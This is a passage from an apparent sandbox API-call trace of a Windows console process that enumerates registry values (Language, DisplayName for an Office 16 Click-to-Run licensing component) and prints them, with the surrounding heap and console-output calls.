cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.618] GetConsoleOutputCP () returned 0x1b5 [0147.618] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.618] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.618] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.618] __iob_func () returned 0x7fefd702a80 [0147.618] _fileno (_File=0x7fefd702ab0) returned 1 [0147.618] _errno () returned 0xc4bb0 [0147.618] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.618] _errno () returned 0xc4bb0 [0147.618] GetFileType (hFile=0x50) returned 0x1 [0147.618] lstrlenW (lpString="REG_DWORD") returned 9 [0147.618] GetConsoleOutputCP () returned 0x1b5 [0147.618] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.618] GetConsoleOutputCP () returned 0x1b5 [0147.618] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.618] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.619] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.619] __iob_func () returned 0x7fefd702a80 [0147.619] _fileno (_File=0x7fefd702ab0) returned 1 [0147.619] _errno () returned 0xc4bb0 [0147.619] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.619] _errno () returned 0xc4bb0 [0147.619] GetFileType (hFile=0x50) returned 0x1 [0147.619] lstrlenW (lpString=" ") returned 4 [0147.619] GetConsoleOutputCP () returned 0x1b5 [0147.619] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.619] GetConsoleOutputCP () returned 0x1b5 [0147.619] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.619] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.619] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.619] __iob_func () returned 0x7fefd702a80 [0147.619] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.619] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x100020ef") returned 10 [0147.619] _fileno (_File=0x7fefd702ab0) returned 1 [0147.619] _errno () returned 0xc4bb0 [0147.619] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.619] _errno () returned 0xc4bb0 [0147.619] GetFileType (hFile=0x50) returned 0x1 [0147.619] lstrlenW (lpString="0x100020ef") returned 10 [0147.619] GetConsoleOutputCP () returned 0x1b5 [0147.620] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x100020ef", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0147.620] GetConsoleOutputCP () returned 0x1b5 [0147.620] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x100020ef", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x100020ef", lpUsedDefaultChar=0x0) returned 10 [0147.620] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0147.620] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.620] __iob_func () returned 0x7fefd702a80 [0147.620] _fileno (_File=0x7fefd702ab0) returned 1 [0147.620] _errno () returned 0xc4bb0 [0147.620] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.620] _errno () returned 0xc4bb0 [0147.620] GetFileType (hFile=0x50) returned 0x1 [0147.620] lstrlenW (lpString="\n") returned 1 [0147.620] GetConsoleOutputCP () returned 0x1b5 [0147.620] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.620] GetConsoleOutputCP () returned 0x1b5 [0147.620] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.620] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.620] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.620] GetProcessHeap () returned 0x2e0000 [0147.620] GetProcessHeap () returned 0x2e0000 [0147.620] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.621] GetProcessHeap () returned 0x2e0000 [0147.621] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.621] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.621] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.621] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.621] GetProcessHeap () returned 0x2e0000 [0147.621] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.621] GetProcessHeap () returned 0x2e0000 [0147.621] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.621] GetProcessHeap () returned 0x2e0000 [0147.621] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.621] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.621] __iob_func () returned 0x7fefd702a80 [0147.621] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.621] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.621] _fileno (_File=0x7fefd702ab0) returned 1 [0147.621] _errno () returned 0xc4bb0 [0147.621] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.621] _errno () returned 0xc4bb0 [0147.621] GetFileType (hFile=0x50) returned 0x1 [0147.621] lstrlenW (lpString=" ") returned 4 [0147.621] GetConsoleOutputCP () returned 0x1b5 [0147.621] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.621] GetConsoleOutputCP () returned 0x1b5 [0147.621] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.621] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.621] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.622] lstrlenW (lpString="Language") returned 8 [0147.622] __iob_func () returned 0x7fefd702a80 [0147.622] _fileno (_File=0x7fefd702ab0) returned 1 [0147.622] _errno () returned 0xc4bb0 [0147.622] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.622] _errno () returned 0xc4bb0 [0147.622] GetFileType (hFile=0x50) returned 0x1 [0147.622] lstrlenW (lpString="Language") returned 8 [0147.622] GetConsoleOutputCP () returned 0x1b5 [0147.622] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.622] GetConsoleOutputCP () returned 0x1b5 [0147.622] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0147.622] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.622] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.622] __iob_func () returned 0x7fefd702a80 [0147.622] _fileno (_File=0x7fefd702ab0) returned 1 [0147.622] _errno () returned 0xc4bb0 [0147.622] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.622] _errno () returned 0xc4bb0 [0147.622] GetFileType (hFile=0x50) returned 0x1 [0147.622] lstrlenW (lpString=" ") returned 4 [0147.622] GetConsoleOutputCP () returned 0x1b5 [0147.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.623] GetConsoleOutputCP () returned 0x1b5 [0147.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.623] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.623] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.623] __iob_func () returned 0x7fefd702a80 [0147.623] _fileno (_File=0x7fefd702ab0) returned 1 [0147.623] _errno () returned 0xc4bb0 [0147.623] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.623] _errno () returned 0xc4bb0 [0147.623] GetFileType (hFile=0x50) returned 0x1 [0147.623] lstrlenW (lpString="REG_DWORD") returned 9 [0147.623] GetConsoleOutputCP () returned 0x1b5 [0147.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.623] GetConsoleOutputCP () returned 0x1b5 [0147.623] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.623] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.623] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.623] __iob_func () returned 0x7fefd702a80 [0147.623] _fileno (_File=0x7fefd702ab0) returned 1 [0147.623] _errno () returned 0xc4bb0 [0147.623] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.623] _errno () returned 0xc4bb0 [0147.624] GetFileType (hFile=0x50) returned 0x1 [0147.624] lstrlenW (lpString=" ") returned 4 [0147.624] GetConsoleOutputCP () returned 0x1b5 [0147.624] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.624] GetConsoleOutputCP () returned 0x1b5 [0147.624] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.624] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.624] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.624] __iob_func () returned 0x7fefd702a80 [0147.624] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.624] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0147.624] _fileno (_File=0x7fefd702ab0) returned 1 [0147.624] _errno () returned 0xc4bb0 [0147.624] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.624] _errno () returned 0xc4bb0 [0147.624] GetFileType (hFile=0x50) returned 0x1 [0147.624] lstrlenW (lpString="0x0") returned 3 [0147.624] GetConsoleOutputCP () returned 0x1b5 [0147.624] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.624] GetConsoleOutputCP () returned 0x1b5 [0147.625] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0147.625] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.625] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.625] __iob_func () returned 0x7fefd702a80 [0147.625] _fileno (_File=0x7fefd702ab0) returned 1 [0147.625] _errno () returned 0xc4bb0 [0147.625] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.625] _errno () returned 0xc4bb0 [0147.625] GetFileType (hFile=0x50) returned 0x1 [0147.625] lstrlenW (lpString="\n") returned 1 [0147.625] GetConsoleOutputCP () returned 0x1b5 [0147.625] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.625] GetConsoleOutputCP () returned 0x1b5 [0147.625] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.625] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.625] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.625] GetProcessHeap () returned 0x2e0000 [0147.625] GetProcessHeap () returned 0x2e0000 [0147.625] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.625] GetProcessHeap () returned 0x2e0000 [0147.625] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.625] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.625] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.625] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x58) returned 0x0 [0147.626] GetProcessHeap () returned 0x2e0000 [0147.626] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x5a) returned 0x2fb7d0 [0147.626] GetProcessHeap () returned 0x2e0000 [0147.626] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0147.626] GetProcessHeap () returned 0x2e0000 [0147.626] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x5a [0147.626] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fb7d0, pcbData=0x23f670*=0x58 | out: pdwType=0x23f5f0*=0x1, pvData="Office 16 Click-to-Run Licensing Component", pcbData=0x23f670*=0x56) returned 0x0 [0147.626] __iob_func () returned 0x7fefd702a80 [0147.626] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.626] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.626] _fileno (_File=0x7fefd702ab0) returned 1 [0147.626] _errno () returned 0xc4bb0 [0147.626] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.626] _errno () returned 0xc4bb0 [0147.626] GetFileType (hFile=0x50) returned 0x1 [0147.626] lstrlenW (lpString=" ") returned 4 [0147.626] GetConsoleOutputCP () returned 0x1b5 [0147.626] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.626] GetConsoleOutputCP () returned 0x1b5 [0147.626] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.626] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.626] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.626] lstrlenW (lpString="DisplayName") returned 11 [0147.626] __iob_func () returned 0x7fefd702a80 [0147.626] _fileno (_File=0x7fefd702ab0) returned 1 [0147.626] _errno () returned 0xc4bb0 [0147.626] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.626] _errno () returned 0xc4bb0 [0147.627] GetFileType (hFile=0x50) returned 0x1 [0147.627] lstrlenW (lpString="DisplayName") returned 11 [0147.627] GetConsoleOutputCP () returned 0x1b5 [0147.627] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0147.627] GetConsoleOutputCP () returned 0x1b5 [0147.627] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0147.627] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0147.627] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.627] __iob_func () returned 0x7fefd702a80 [0147.627] _fileno (_File=0x7fefd702ab0) returned 1 [0147.627] _errno () returned 0xc4bb0 [0147.627] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.627] _errno () returned 0xc4bb0 [0147.627] GetFileType (hFile=0x50) returned 0x1 [0147.627] lstrlenW (lpString=" ") returned 4 [0147.627] GetConsoleOutputCP () returned 0x1b5 [0147.627] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.627] GetConsoleOutputCP () returned 0x1b5 [0147.627] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.628] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.628] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.628] __iob_func () returned 0x7fefd702a80 [0147.628] _fileno (_File=0x7fefd702ab0) returned 1 [0147.628] _errno () returned 0xc4bb0 [0147.628] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.628] _errno () returned 0xc4bb0 [0147.628] GetFileType (hFile=0x50) returned 0x1 [0147.628] lstrlenW (lpString="REG_SZ") returned 6 [0147.628] GetConsoleOutputCP () returned 0x1b5 [0147.628] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.628] GetConsoleOutputCP () returned 0x1b5 [0147.628] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.628] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.628] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.628] __iob_func () returned 0x7fefd702a80 [0147.628] _fileno (_File=0x7fefd702ab0) returned 1 [0147.628] _errno () returned 0xc4bb0 [0147.628] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.628] _errno () returned 0xc4bb0 [0147.628] GetFileType (hFile=0x50) returned 0x1 [0147.628] lstrlenW (lpString=" ") returned 4 [0147.628] GetConsoleOutputCP () returned 0x1b5 [0147.629] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.629] GetConsoleOutputCP () returned 0x1b5 [0147.629] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.629] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.629] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.629] __iob_func () returned 0x7fefd702a80 [0147.629] _fileno (_File=0x7fefd702ab0) returned 1 [0147.629] _errno () returned 0xc4bb0 [0147.629] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.629] _errno () returned 0xc4bb0 [0147.629] GetFileType (hFile=0x50) returned 0x1 [0147.629] lstrlenW (lpString="Office 16 Click-to-Run Licensing Component") returned 42 [0147.629] GetConsoleOutputCP () returned 0x1b5 [0147.629] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Office 16 Click-to-Run Licensing Component", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0147.629] GetConsoleOutputCP () returned 0x1b5 [0147.629] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Office 16 Click-to-Run Licensing Component", cchWideChar=42, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office 16 Click-to-Run Licensing Component", lpUsedDefaultChar=0x0) returned 42 [0147.629] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 42 [0147.629] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.629] __iob_func () returned 0x7fefd702a80 [0147.629] _fileno (_File=0x7fefd702ab0) returned 1 [0147.629] _errno () returned 0xc4bb0 [0147.629] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.629] _errno () returned 0xc4bb0 [0147.630] GetFileType (hFile=0x50) returned 0x1 [0147.630] lstrlenW (lpString="\n") returned 1 [0147.630] GetConsoleOutputCP () returned 0x1b5 [0147.630] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.630] GetConsoleOutputCP () returned 0x1b5 [0147.630] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.630] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.630] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.630] GetProcessHeap () returned 0x2e0000 [0147.630] GetProcessHeap () returned 0x2e0000 [0147.630] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0) returned 1 [0147.630] GetProcessHeap () returned 0x2e0000 [0147.630] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fb7d0) returned 0x5a [0147.630] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fb7d0 | out: hHeap=0x2e0000) returned 1 [0147.630] __iob_func () returned 0x7fefd702a80 [0147.630] _fileno (_File=0x7fefd702ab0) returned 1 